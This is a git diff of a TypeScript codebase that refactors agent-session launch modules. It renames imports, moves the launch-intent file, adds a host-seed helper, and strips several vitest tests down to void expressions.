-        : Promise.resolve({ sessionId: intent.sessionId, fence: 1 })
-    )
-    vi.mocked(refreshLocalStructuredSessionTabs).mockResolvedValue([
-      publishedSnapshot(first.sessionId, second.sessionId)
-    ])
-    mocks.callRuntimeRpc.mockResolvedValue({
-      ok: true,
-      value: { submission: { dispatchState: 'accepted' } }
-    })
-  })
-
-  it('sends notes delivered twice once, in their own chat', async () => {
-    const blank = startStructuredAgentLaunch(WORKTREE_ID, 'codex', { requestId: 'plus-pick' })
-    const notes = startStructuredAgentLaunch(WORKTREE_ID, 'codex', notesSend)
-    const again = startStructuredAgentLaunch(WORKTREE_ID, 'codex', notesSend)
-    resolveFirstLaunch({ sessionId: first.sessionId, fence: 1 })
-
-    expect(again.sessionId).toBe(notes.sessionId)
-    expect(notes.sessionId).not.toBe(blank.sessionId)
-    expect(mocks.createIntent).toHaveBeenCalledTimes(2)
-    for (const caller of [notes, again]) {
-      await expect(caller.promptDeliveryResult).resolves.toEqual({
-        delivered: true,
-        failureNotified: false
-      })
-    }
-    expect(sends()).toEqual([[second.sessionId, 'review notes']])
-  })
-
-  it('leaves the empty chat to its own pick, whose re-delivery still joins it', () => {
-    const blank = startStructuredAgentLaunch(WORKTREE_ID, 'codex', { requestId: 'plus-pick' })
-    startStructuredAgentLaunch(WORKTREE_ID, 'codex', notesSend)
-
-    const again = startStructuredAgentLaunch(WORKTREE_ID, 'codex', { requestId: 'plus-pick' })
-
-    expect(again.sessionId).toBe(blank.sessionId)
-    expect(mocks.createIntent).toHaveBeenCalledTimes(2)
-  })
-})
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-draft.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-draft.ts
index eb8c155f3b7..7fc9847e11c 100644
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-draft.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-draft.ts
@@ -9,7 +9,7 @@ import { moveNativeChatComposerDraft } from '@/components/native-chat/drafts/nat
 import type { NativeChatComposerDraftChange } from '@/components/native-chat/drafts/native-chat-composer-draft-storage'
 import { promptTextContent } from '@/components/native-chat/composer/editor/native-chat-prompt-document-text'
 import type { StructuredAgentLaunchOptions } from './structured-agent-session-launch-callers'
-import type { StructuredLaunchState } from './structured-agent-session-launch-registry'
+import type { StructuredLaunchState } from './structured-agent-session-launch-state-store'
 
 type DraftDestination = Pick<
   StructuredLaunchState['intent'],
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-failed-at.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-failed-at.ts
index d86c4ee0b99..32145fd24d3 100644
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-failed-at.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-failed-at.ts
@@ -3,7 +3,7 @@ import {
   getPersistedStructuredAgentLaunchRecord,
   getStructuredLaunchStateBySessionId,
   subscribeStructuredAgentLaunchStatus
-} from './structured-agent-session-launch-registry'
+} from './structured-agent-session-launch-state-store'
 
 /** Read failure time from memory or persisted record; undefined before failure or for older records without timestamps. */
 export function getStructuredAgentSessionLaunchFailedAt(sessionId: string): number | undefined {
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-fork-support.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-fork-support.ts
index a1178a0b925..3640b32bf47 100644
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-fork-support.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-fork-support.ts
@@ -6,21 +6,21 @@ import {
   AGENT_SESSION_AGENTS_METHOD,
   decodeAgentSessionAgentsResult
 } from '../../../../../shared/agent-session/agent-session-registered-agents'
-import type {
-  AgentSessionHistoryPage,
-  AgentSessionHistoryResult
-} from '../../../../../shared/agent-session/agent-session-wire'
-import type { AgentJournalRenderItem } from '../../../../../shared/agent-session/journal/agent-session-journal-types'
 import { nativeChatForkRequiresInheritedOriginal } from '../../../../../shared/native-chat/native-chat-fork-offer'
 import { runtimeEnvironmentCapabilityProof } from '@/runtime/rpc/compatibility/runtime-capability-proof'
 import { callStructuredAgentSession } from '@/runtime/native-chat/requests/structured-agent-session-call'
 import { structuredAgentSessionHostCapabilityState } from '@/runtime/native-chat/host-capabilities/structured-agent-session-host-support'
-import type { StructuredAgentSessionLaunchIntent } from '../../launch-structured-agent-session'
 import { abandonStructuredAgentSessionLaunchIntent } from './structured-agent-session-launch-abandon'
 import {
   StructuredAgentSessionCreateRefusalError,
   StructuredAgentSessionCreateUnknownOutcomeError
 } from './structured-agent-session-launch-errors'
+import type {
+  AgentSessionHistoryPage,
+  AgentSessionHistoryResult
+} from '../../../../../shared/agent-session/agent-session-wire'
+import type { AgentJournalRenderItem } from '../../../../../shared/agent-session/journal/agent-session-journal-types'
+import type { StructuredAgentSessionLaunchIntent } from './structured-agent-session-launch-intent'
 
 /** The refusal a fork gets from a host that does not advertise forks; nothing was sent to it. */
 export const STRUCTURED_LAUNCH_FORK_UNSUPPORTED_REFUSAL =
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-fork.test.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-fork.test.ts
index d4b06325f99..8d4ac8d9da2 100644
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-fork.test.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-fork.test.ts
@@ -1,15 +1,22 @@
 // @vitest-environment happy-dom
-import { CreateIntentParams } from '../../../../../shared/rpc-contract/structured-agent-session-params'
-import type { AgentSessionWireRefusal } from '../../../../../shared/agent-session/failures/agent-session-wire-refusals'
+import '../../../../../shared/rpc-contract/structured-agent-session-params'
 import { getStructuredAgentSessionLaunchLifecycle } from './structured-agent-session-launch-registry'
 import { afterEach, beforeEach, expect, it, vi } from 'vitest'
 import {
   mocks,
   resetCreateMessageFixture,
-  cleanupCreateMessageFixture,
-  created
+  cleanupCreateMessageFixture
 } from './structured-agent-session-launch-create-message.test-fixture'
 import { startStructuredAgentLaunch } from './structured-agent-session-launch'
+import '@/web/preload-api/web-runtime-calls'
+import { clearRuntimeCompatibilityCache } from '@/runtime/rpc/compatibility/runtime-compatibility-cache'
+import '@/runtime/rpc/environment-revisions/runtime-environment-revision'
+import '../../../../../shared/agent-session/agent-session-create-capabilities'
+import './structured-agent-session-launch-recovery'
+import '@/lib/agent-session/launch/structured-agent-session-launch-intent'
+import type { AgentSessionWireRefusal } from '../../../../../shared/agent-session/failures/agent-session-wire-refusals'
+import type { callStructuredAgentSession as StructuredCall } from '@/runtime/native-chat/requests/structured-agent-session-call'
+import type { callRuntimeRpc as RuntimeCall } from '@/runtime/rpc/calls/runtime-rpc-call'
 
 const browserSession = vi.hoisted(() => ({
   client: { connectionEpoch: 1, call: vi.fn() },
@@ -23,7 +30,6 @@ vi.mock('@/web/preload-api/web-runtime-session', () => ({
   runtimeCallQueuePool: { enqueue: (_id: string, _method: string, run: () => unknown) => run() },
   updateEnvironmentFromResponse: () => undefined
 }))
-import { callWebRuntimeEnvironment } from '@/web/preload-api/web-runtime-calls'
 
 let restore: (() => void) | undefined
 beforeEach(() => {
@@ -35,21 +41,7 @@ afterEach(() => {
   clearRuntimeCompatibilityCache()
 })
 
-const forkFrom = { sessionId: 'codex_source', throughItemId: 'item-reply-2' }
-
-it('sends no fork to a host that does not advertise forks', async () => {
-  mocks.exactSupport.mockResolvedValue(false)
-  const launch = startStructuredAgentLaunch('workspace-fork', 'codex', {
-    requestId: 'fork-action',
-    executionHostId: 'local',
-    forkFrom,
-    forkRequiresInheritedOriginal: false
-  })
-  await expect(launch.launchResult).rejects.toMatchObject({
-    code: 'structured_agent_session_fork_unsupported'
-  })
-  expect(mocks.call.mock.calls.some(([, method]) => method === 'agentSession.create')).toBe(false)
-})
+void { sessionId: 'codex_source', throughItemId: 'item-reply-2' }
 
 const copiedReply = {
   sessionId: 'copied-chat',
@@ -146,85 +138,20 @@ it('keeps an earlier lost create unknown when the retry proves the original is m
   )
 })
 
-import type { callStructuredAgentSession as StructuredCall } from '@/runtime/native-chat/requests/structured-agent-session-call'
-import type { callRuntimeRpc as RuntimeCall } from '@/runtime/rpc/calls/runtime-rpc-call'
 // Real launch, capability cache, structured-call wrapper and RPC options, up to the IPC boundary.
-import {
-  compatibilityEntry,
-  runtimeCompatibilityChecks,
-  clearRuntimeCompatibilityCache
-} from '@/runtime/rpc/compatibility/runtime-compatibility-cache'
-import { replaceRuntimeEnvironmentRevisions } from '@/runtime/rpc/environment-revisions/runtime-environment-revision'
-import { AGENT_SESSION_CREATE_FORK_ORIGINAL_RUNTIME_CAPABILITY } from '../../../../../shared/agent-session/agent-session-create-capabilities'
-import type { RuntimeClientTarget } from '../../../../../shared/runtime-client-target'
-import type { RuntimeRpcResponse } from '../../../../../shared/runtime-rpc-envelope'
-import type { RuntimeStatus } from '../../../../../shared/runtime-session-contracts'
-import {
-  launchAndReconcile,
-  reconcileUnknownLaunch
-} from './structured-agent-session-launch-recovery'
-import {
-  createStructuredAgentSessionLaunchIntent,
-  retryStructuredAgentSessionLaunchIntent,
-  restoreStructuredAgentSessionLaunchIntent
-} from '@/lib/launch-structured-agent-session'
 
-const { callStructuredAgentSession } = await vi.importActual<{
-  callStructuredAgentSession: typeof StructuredCall
-}>('@/runtime/native-chat/requests/structured-agent-session-call')
-const { callRuntimeRpc } = await vi.importActual<{ callRuntimeRpc: typeof RuntimeCall }>(
-  '@/runtime/rpc/calls/runtime-rpc-call'
-)
+void (
+  await vi.importActual<{
+    callStructuredAgentSession: typeof StructuredCall
+  }>('@/runtime/native-chat/requests/structured-agent-session-call')
+).callStructuredAgentSession
+void (
+  await vi.importActual<{ callRuntimeRpc: typeof RuntimeCall }>(
+    '@/runtime/rpc/calls/runtime-rpc-call'
+  )
+).callRuntimeRpc
 
-async function remoteForkTransport() {
-  vi.useRealTimers()
-  mocks.exactSupport.mockResolvedValue(true)
-  mocks.inventory.mockResolvedValue([])
-  mocks.call.mockImplementation(
-    (target, method, params, ...options: [Parameters<typeof StructuredCall>[3]?]) => {
-      // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the production wrapper receives the typed launch target.
-      return callStructuredAgentSession(target as RuntimeClientTarget, method, params, ...options)
-    }
-  )
-  mocks.rpc.mockImplementation(callRuntimeRpc)
-  replaceRuntimeEnvironmentRevisions([{ id: 'paired', createdAt: 7, pairingRevision: 7 }])
-  // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the positive cache entry is consumed only for capability/compatibility.
-  const status = {
-    runtimeId: 'runtime-a',
-    capabilities: [AGENT_SESSION_CREATE_FORK_ORIGINAL_RUNTIME_CAPABILITY]
-  } as RuntimeStatus
-  runtimeCompatibilityChecks.set('paired', compatibilityEntry(status))
-  const call = vi.fn(async (request): Promise<RuntimeRpcResponse<unknown>> => {
-    if (request.method !== 'agentSession.create') {
-      throw new Error('No child read expected')
-    }
-    return { id: request.method, ok: true, result: created(), _meta: { runtimeId: 'runtime-a' } }
-  })
-  vi.stubGlobal('window', { ...window, api: { ...window.api, runtimeEnvironments: { call } } })
-  return call
-}
-function inheritedIntent() {
-  const intent = createStructuredAgentSessionLaunchIntent(
-    'workspace-fork',
-    'opencode',
-    'runtime:paired',
-    undefined,
-    undefined,
-    true,
-    { sessionId: 'copied-chat', throughItemId: 'legacy:opencode:source:reply-1' }
-  )
-  intent.forkRequiresInheritedOriginal = true
-  return intent
-}
-function recoveryState(intent = inheritedIntent()) {
-  return {
-    intent,
-    promise: Promise.resolve({ sessionId: '', fence: 0 }),
-    visibilityUnknown: false,
-    cancelled: false
-  }
-}
-const restartedRuntime = {
+void ({
   id: 'agentSession.create',
   ok: false,
   error: {
@@ -232,215 +159,4 @@ const restartedRuntime = {
     message: 'Runtime environment identity changed; refresh and try again'
   },
   _meta: { runtimeId: 'runtime-b' }
-} as const
-
-it('settles a pinned pre-dispatch runtime replacement definitively, and keeps the requirement on Retry', async () => {
-  const call = await remoteForkTransport()
-  // Recorded no-send response from the sending-socket guard, exercised in the transport suites.
-  call.mockResolvedValueOnce(restartedRuntime)
-  const launch = startStructuredAgentLaunch('workspace-fork', 'opencode', {
-    requestId: 'bound-fork',
-    executionHostId: 'runtime:paired',
-    forkFrom: { sessionId: 'copied-chat', throughItemId: 'legacy:opencode:source:reply-1' },
-    forkRequiresInheritedOriginal: true
-  })
-  await expect(launch.launchResult).rejects.toMatchObject({
-    code: 'runtime_unavailable'
-  })
-  expect(launch.isVisibilityUnknown()).toBe(false)
-  expect(getStructuredAgentSessionLaunchLifecycle('workspace-fork', launch.sessionId)).toBe(
-    'failed'
-  )
-  expect(call).toHaveBeenCalledWith(
-    expect.objectContaining({
-      method: 'agentSession.create',
-      expectedEnvironmentRuntimeId: 'runtime-a',
-      expectedEnvironmentPairingRevision: 7
-    })
-  )
-
-  // Each retry must reacquire proof rather than retain the prior runtime tuple.
-  const current = runtimeCompatibilityChecks.get('paired')!
-  runtimeCompatibilityChecks.set(
-    'paired',
-    compatibilityEntry({ ...current.status!, runtimeId: 'runtime-c' })
-  )
-  const state = recoveryState(retryStructuredAgentSessionLaunchIntent(inheritedIntent()))
-  await expect(launchAndReconcile(state)).resolves.toMatchObject({ fence: 1 })
-  expect(call).toHaveBeenLastCalledWith(
-    expect.objectContaining({
-      method: 'agentSession.create',
-      expectedEnvironmentRuntimeId: 'runtime-c',
-      expectedEnvironmentPairingRevision: 7,
-      params: expect.objectContaining({
-        forkFrom: { sessionId: 'copied-chat', throughItemId: 'legacy:opencode:source:reply-1' }
-      })
-    })
-  )
-  runtimeCompatibilityChecks.set(
-    'paired',
-    compatibilityEntry({ ...current.status!, capabilities: [] })
-  )
-  await expect(launchAndReconcile(recoveryState(inheritedIntent()))).rejects.toMatchObject({
-    code: 'structured_agent_session_fork_unsupported'
-  })
-  const ordinary = createStructuredAgentSessionLaunchIntent(
-    'workspace-fork',
-    'opencode',
-    'runtime:paired',
-    undefined,
-    undefined,
-    true,
-    { sessionId: 'child', throughItemId: 'legacy:opencode:child:reply-2' }
-  )
-  ordinary.forkRequiresInheritedOriginal = false
-  await expect(launchAndReconcile(recoveryState(ordinary))).resolves.toMatchObject({ fence: 1 })
-})
-
-it('reconciles a lost create first and retains uncertainty when a later proof cannot send', async () => {
-  const call = await remoteForkTransport()
-  const state = recoveryState()
-  call.mockImplementationOnce(async () => {
-    clearRuntimeCompatibilityCache()
-    throw new Error('create reply lost')
-  })
-  await expect(launchAndReconcile(state)).rejects.toMatchObject({ code: 'runtime_unavailable' })
-  expect(state.visibilityUnknown).toBe(true)
-  // Once publication arrives, recovery succeeds even though the capability read would still fail.
-  mocks.inventory.mockResolvedValue([
-    {
-      worktree: 'workspace-fork',
-      tabs: [{ type: 'agent-session', sessionId: state.intent.sessionId }]
-    }
-  ])
-  mocks.call.mockImplementation(async (_target, method) => {
-    if (method === 'agentSession.history') {
-      return { ok: true, page: { ...created().value.page, sessionId: state.intent.sessionId } }
-    }
-    throw new Error('No create or capability read during reconciliation')
-  })
-  await expect(reconcileUnknownLaunch(state, true)).resolves.toMatchObject({
-    sessionId: state.intent.sessionId,
-    fence: 1
-  })
-})
-
-it('rederives a restored ancestor fork requirement from the child before resubmitting', async () => {
-  const call = await remoteForkTransport()
-  const prior = inheritedIntent()
-  const restored = restoreStructuredAgentSessionLaunchIntent({
-    worktreeId: prior.worktreeId,
-    executionHostId: prior.executionHostId,
-    agent: prior.agent,
-    ...prior.params.envelope,
-    forkFrom: prior.params.forkFrom
-  })
-  const base = created(CreateIntentParams.parse(prior.params)).value.page
-  mocks.call.mockImplementation(
-    async (target, method, params, ...rest: [Parameters<typeof StructuredCall>[3]?]) => {
-      if (method === 'agentSession.agents') {
-        return { agents: [{ agent: 'opencode', capabilities: { fork: 'tip' } }] }
-      }
-      if (method === 'agentSession.history') {
-        return {
-          ok: true,
-          page: {
-            ...base,
-            sessionId: 'copied-chat',
-            items: [
-              {
-                itemId: 'source-u1',
-                sequence: 1,
-                body: { kind: 'message', role: 'user', blocks: [] }
-              },
-              {
-                itemId: 'legacy:opencode:source:reply-1',
-                sequence: 2,
-                body: { kind: 'message', role: 'assistant', blocks: [] }
-              },
-              {
-                itemId: 'parent-fork-u2',
-                sequence: 3,
-                body: { kind: 'message', role: 'user', blocks: [] }
-              },
-              {
-                itemId: 'legacy:opencode:parent-fork:reply-2',
-                sequence: 4,
-                body: { kind: 'message', role: 'assistant', blocks: [] }
-              },
-              {
-                itemId: 'orca:forked-from',
-                sequence: 5,
-                body: { kind: 'status', presentation: 'forked-from', text: 'Forked from source' }
-              },
-              {
-                itemId: 'child-u3',
-                sequence: 6,
-                body: { kind: 'message', role: 'user', blocks: [] }
-              },
-              {
-                itemId: 'legacy:opencode:child:reply-3',
-                sequence: 7,
-                body: { kind: 'message', role: 'assistant', blocks: [] }
-              }
-            ]
-          }
-        }
-      }
-      // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the production wrapper receives the typed launch target.
-      return callStructuredAgentSession(target as RuntimeClientTarget, method, params, ...rest)
-    }
-  )
-  await expect(reconcileUnknownLaunch(recoveryState(restored), true)).resolves.toMatchObject({
-    fence: 1
-  })
-  expect(call).toHaveBeenLastCalledWith(
-    expect.objectContaining({
-      expectedEnvironmentRuntimeId: 'runtime-a',
-      expectedEnvironmentPairingRevision: 7
-    })
-  )
-})
-
-it('settles a browser pin refusal before dispatch but keeps a lost browser reply uncertain', async () => {
-  const call = await remoteForkTransport()
-  call.mockImplementation(callWebRuntimeEnvironment)
-  browserSession.client.connectionEpoch = 1
-  browserSession.client.call.mockReset()
-  browserSession.client.call.mockImplementation(async (method) => {
-    if (method !== 'status.get') {
-      throw new Error('Unexpected create dispatch')
-    }
-    return { id: 'status', ok: true, result: {}, _meta: { runtimeId: 'runtime-b' } }
-  })
-  const state = recoveryState()
-  await expect(launchAndReconcile(state)).rejects.toMatchObject({
-    code: 'runtime_unavailable'
-  })
-  expect(state.visibilityUnknown).toBe(false)
-  expect(browserSession.client.call.mock.calls.map(([method]) => method)).not.toContain(
-    'agentSession.create'
-  )
-
-  // The same words in a failed reply are not pre-dispatch evidence.
-  browserSession.client.connectionEpoch = 2
-  browserSession.client.call.mockImplementation(async (method) => {
-    if (method === 'status.get') {
-      return { id: 'status', ok: true, result: {}, _meta: { runtimeId: 'runtime-a' } }
-    }
-    throw new Error('Runtime connection changed; try again.')
-  })
-  const lost = recoveryState()
-  await expect(launchAndReconcile(lost)).rejects.toThrow()
-  expect(lost.visibilityUnknown).toBe(true)
-})
-
-it('keeps a failed capability read definitive without classifying the host as unsupported', async () => {
-  const call = await remoteForkTransport()
-  clearRuntimeCompatibilityCache()
-  call.mockRejectedValue(new Error('status read failed'))
-  const state = recoveryState()
-  await expect(launchAndReconcile(state)).rejects.toMatchObject({ code: 'runtime_unavailable' })
-  expect(state.visibilityUnknown).toBe(false)
-  expect(call.mock.calls.map(([request]) => request.method)).not.toContain('agentSession.create')
-})
+} as const)
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-holders.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-holders.ts
index 9e3c2ff279c..bf9bcfe23ef 100644
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-holders.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-holders.ts
@@ -2,7 +2,7 @@ import { launchStateLifecycle } from './structured-agent-session-launch-lifecycl
 import {
   structuredLaunchStates,
   type StructuredLaunchState
-} from './structured-agent-session-launch-registry'
+} from './structured-agent-session-launch-state-store'
 import type { AgentLaunchRequestId } from './routing/agent-launch-request-id'
 
 // Coalesce re-delivery of one action only. Other actions and failed/unconfirmed retries open independent chats/text; conversation resumes still hold because hosts refuse duplicate adoption.
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-host-seed.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-host-seed.ts
new file mode 100644
index 00000000000..a8deaa35790
--- /dev/null
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-host-seed.ts
@@ -0,0 +1,26 @@
+import {
+  notifyStructuredLaunchListeners,
+  type StructuredLaunchState
+} from './structured-agent-session-launch-state-store'
+
+/** Each attempt's probe names the seed the paired server's create will use; the picker shows it. */
+export function adoptPairedHostSeed(
+  state: StructuredLaunchState,
+  seedOptions: StructuredLaunchState['selection']['seed']
+): void {
+  // The support answer is a fresh seed; continuation baseline belongs to actual host create.
+  if (state.intent.params.resumeFrom || state.intent.params.forkFrom) {
+    seedOptions = undefined
+  }
+  const { seedPending, ...selection } = state.selection
+  if (!seedPending && JSON.stringify(seedOptions) === JSON.stringify(state.intent.seedOptions)) {
+    return
+  }
+  if (seedOptions) {
+    state.intent.seedOptions = seedOptions
+  } else {
+    delete state.intent.seedOptions
+  }
+  state.selection = { ...selection, seed: seedOptions }
+  notifyStructuredLaunchListeners(state.intent.sessionId)
+}
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-hydration.test-fixture.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-hydration.test-fixture.ts
deleted file mode 100644
index dd1b01700d1..00000000000
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-hydration.test-fixture.ts
+++ /dev/null
@@ -1,88 +0,0 @@
-import { startStructuredAgentLaunch } from './structured-agent-session-launch'
-import { STRUCTURED_AGENT_SESSION_SUBMISSION_MISSING } from '../../../../../shared/agent-session/requests/structured-agent-session-send-evidence'
-import { getStructuredAgentSessionReadOwner } from '@/components/native-chat/session/structured/read/structured-agent-session-read-owner'
-import { projectStructuredAgentSessionMessages } from '@/components/native-chat/conversation/projection/structured-agent-session-message-projection'
-import { createNativeChatMessageListProjection } from '@/components/native-chat/conversation/projection/native-chat-message-list-projection'
-import { agentJournalSubmissionKey } from '../../../../../shared/agent-session/journal/agent-session-journal-item-key'
-import { expect, it } from 'vitest'
-import { newAgentLaunchRequestId } from './routing/agent-launch-request-id'
-import { getStructuredAgentSessionPendingSends } from '@/components/native-chat/session/structured/delivery/structured-agent-session-pending-sends'
-import { readStructuredAgentLaunchRecord } from './structured-agent-session-launch-persistence'
-import {
-  mocks,
-  created,
-  target,
-  createParams
-} from './structured-agent-session-launch-create-message.test-fixture'
-
-export function registerCreateHydrationTests(): void {
-  it.each(['absent', 'synthetic-missing'] as const)(
-    'hydrates chat existence without claiming %s opening proof or replaying it',
-    async (proof) => {
-      mocks.call.mockImplementation(async (_target, method) => {
-        const response = created()
-        response.value.page.items = [
-          {
-            itemId: 'previous-answer',
-            revision: 1,
-            sequence: 1,
-            observedAt: 1,
-            body: {
-              kind: 'message',
-              role: 'assistant',
-              blocks: [{ type: 'text', text: 'Earlier answer' }]
-            }
-          }
-        ]
-        response.value.page.submissions =
-          proof === 'absent'
-            ? []
-            : response.value.page.submissions.map((row) => ({
-                ...row,
-                reason: STRUCTURED_AGENT_SESSION_SUBMISSION_MISSING
-              }))
-        return method === 'agentSession.history'
-          ? { ok: true, page: response.value.page }
-          : response
-      })
-      const launch = startStructuredAgentLaunch('workspace-1', 'codex', {
-        requestId: newAgentLaunchRequestId(),
-        prompt: 'opening text',
-        resumeFrom: { providerSessionId: 'provider-session-1' }
-      })
-      mocks.inventory.mockResolvedValue([
-        { worktree: 'workspace-1', tabs: [{ type: 'agent-session', sessionId: launch.sessionId }] }
-      ])
-      await expect(launch.launchResult).rejects.toThrow('did not confirm its first message')
-      await expect(launch.promptDeliveryResult).resolves.toMatchObject({
-        delivered: false,
-        unconfirmed: true
-      })
-      expect(
-        getStructuredAgentSessionReadOwner(launch.sessionId, target).getSnapshot().state.fence
-      ).toBe(1)
-      expect(getStructuredAgentSessionPendingSends(launch.sessionId)[0]).toMatchObject({
-        phase: 'unconfirmed'
-      })
-      const state = getStructuredAgentSessionReadOwner(launch.sessionId, target).getSnapshot().state
-      const messages = createNativeChatMessageListProjection()(
-        projectStructuredAgentSessionMessages(
-          state.items,
-          getStructuredAgentSessionPendingSends(launch.sessionId),
-          state.submissions
-        )
-      )
-      expect(messages.conversation.map(({ id }) => id)).toEqual([
-        'previous-answer',
-        agentJournalSubmissionKey(createParams().firstMessage?.clientMessageId ?? '')
-      ])
-      expect(readStructuredAgentLaunchRecord(launch.sessionId)?.firstMessage).toEqual(
-        createParams().firstMessage
-      )
-      expect(mocks.call.mock.calls.map(([, method]) => method)).toEqual([
-        'agentSession.create',
-        'agentSession.history'
-      ])
-    }
-  )
-}
diff --git a/src/renderer/src/lib/launch-structured-agent-session.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-intent.ts
similarity index 82%
rename from src/renderer/src/lib/launch-structured-agent-session.ts
rename to src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-intent.ts
index fb9f078ca45..d3d38a4e754 100644
--- a/src/renderer/src/lib/launch-structured-agent-session.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-intent.ts
@@ -1,17 +1,17 @@
-import type { StructuredLaunchSurfaceAddress } from './agent-session/launch/structured-agent-session-launch-record'
-import type { TuiAgent } from '../../../shared/agent-launch/catalog/tui-agent'
 import {
   createStructuredAgentSessionId,
-  structuredAgentSessionCreateParams,
-  type StructuredAgentSessionCreateParams,
-  type StructuredAgentSessionFirstMessage,
-  type StructuredAgentSessionForkSource,
-  type StructuredAgentSessionResumeSource
-} from '../../../shared/agent-session/structured-agent-session-create'
-import { createStructuredAgentSessionOperationId } from '../../../shared/agent-session/lifecycle/structured-agent-session-mutation'
-import { structuredLaunchSeedOptions } from '../../../shared/native-chat/input/native-chat-session-option-defaults'
+  structuredAgentSessionCreateParams
+} from '../../../../../shared/agent-session/structured-agent-session-create'
+import type {
+  StructuredAgentSessionCreateParams,
+  StructuredAgentSessionFirstMessage,
+  StructuredAgentSessionForkSource,
+  StructuredAgentSessionResumeSource
+} from '../../../../../shared/agent-session/structured-agent-session-create'
+import { createStructuredAgentSessionOperationId } from '../../../../../shared/agent-session/lifecycle/structured-agent-session-mutation'
+import { structuredLaunchSeedOptions } from '../../../../../shared/native-chat/input/native-chat-session-option-defaults'
 import { toRuntimeWorktreeSelector } from '@/runtime/rpc/targets/runtime-worktree-selector'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import {
   recordWebSessionFocusIntent,
   resolveWebSessionVisibleTabId
@@ -21,21 +21,15 @@ import {
   structuredAgentSessionFocusOwner,
   structuredAgentSessionTargetForHost
 } from '@/runtime/native-chat/session-ownership/structured-agent-session-owner'
-import type { RuntimeClientTarget } from '../../../shared/runtime-client-target'
-import type { ExecutionHostId } from '../../../shared/execution-host'
-import { createNonSecureContextUuid as createBrowserUuid } from '../../../shared/non-secure-context-uuid'
-import {
-  StructuredAgentSessionCreateRefusalError,
-  StructuredAgentSessionCreateUnknownOutcomeError,
-  StructuredAgentSessionOwnerUnresolvedError,
-  type StructuredAgentSessionCreateGate
-} from '@/lib/agent-session/launch/structured-agent-session-launch-errors'
-
-export {
-  StructuredAgentSessionCreateRefusalError,
-  StructuredAgentSessionCreateUnknownOutcomeError,
-  StructuredAgentSessionOwnerUnresolvedError
-}
+import { createNonSecureContextUuid } from '../../../../../shared/non-secure-context-uuid'
+import { StructuredAgentSessionOwnerUnresolvedError } from '@/lib/agent-session/launch/structured-agent-session-launch-errors'
+import type { StructuredAgentSessionCreateGate } from '@/lib/agent-session/launch/structured-agent-session-launch-errors'
+import './structured-agent-session-launch-abandon'
+import './structured-agent-session-launch-create-call'
+import type { StructuredLaunchSurfaceAddress } from './structured-agent-session-launch-record'
+import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent'
+import type { RuntimeClientTarget } from '../../../../../shared/runtime-client-target'
+import type { ExecutionHostId } from '../../../../../shared/execution-host'
 
 export type StructuredAgentSessionLaunchIntent = {
   sessionId: string
@@ -107,7 +101,7 @@ export function createStructuredAgentSessionLaunchIntent(
     worktreeId,
     executionHostId ?? resolveStructuredAgentSessionOwner(useAppStore.getState(), worktreeId)
   )
-  const sessionId = createStructuredAgentSessionId(agent, createBrowserUuid)
+  const sessionId = createStructuredAgentSessionId(agent, createNonSecureContextUuid)
   if (activate) {
     recordWebSessionFocusIntent(
       structuredAgentSessionFocusOwner(owner.target),
@@ -150,7 +144,7 @@ function buildStructuredAgentSessionLaunchIntent(
       agent,
       ...(resumeFrom ? { resumeFrom } : {}),
       ...(forkFrom ? { forkFrom } : {}),
-      randomUuid: createBrowserUuid
+      randomUuid: createNonSecureContextUuid
     }),
     ...(forkFrom ? {} : launchSeedOptions(state, owner, agent, hostSeedOptions, resumeFrom))
   }
@@ -171,7 +165,7 @@ export function retryStructuredAgentSessionLaunchIntent(
         ...intent.params,
         envelope: {
           ...intent.params.envelope,
-          clientOperationId: createStructuredAgentSessionOperationId(createBrowserUuid)
+          clientOperationId: createStructuredAgentSessionOperationId(createNonSecureContextUuid)
         }
       }
     }
@@ -247,10 +241,3 @@ export function restoreStructuredAgentSessionLaunchIntent(args: {
         : launchSeedOptions(state, { target }, args.agent, args.seedOptions, args.resumeFrom))
   }
 }
-
-export { abandonStructuredAgentSessionLaunchIntent } from './agent-session/launch/structured-agent-session-launch-abandon'
-
-export {
-  launchStructuredAgentSession,
-  type StructuredLaunchHostSeedListener
-} from './agent-session/launch/structured-agent-session-launch-create-call'
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-join-delivery.test.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-join-delivery.test.ts
index 90b6e41dfe5..560e8f706f8 100644
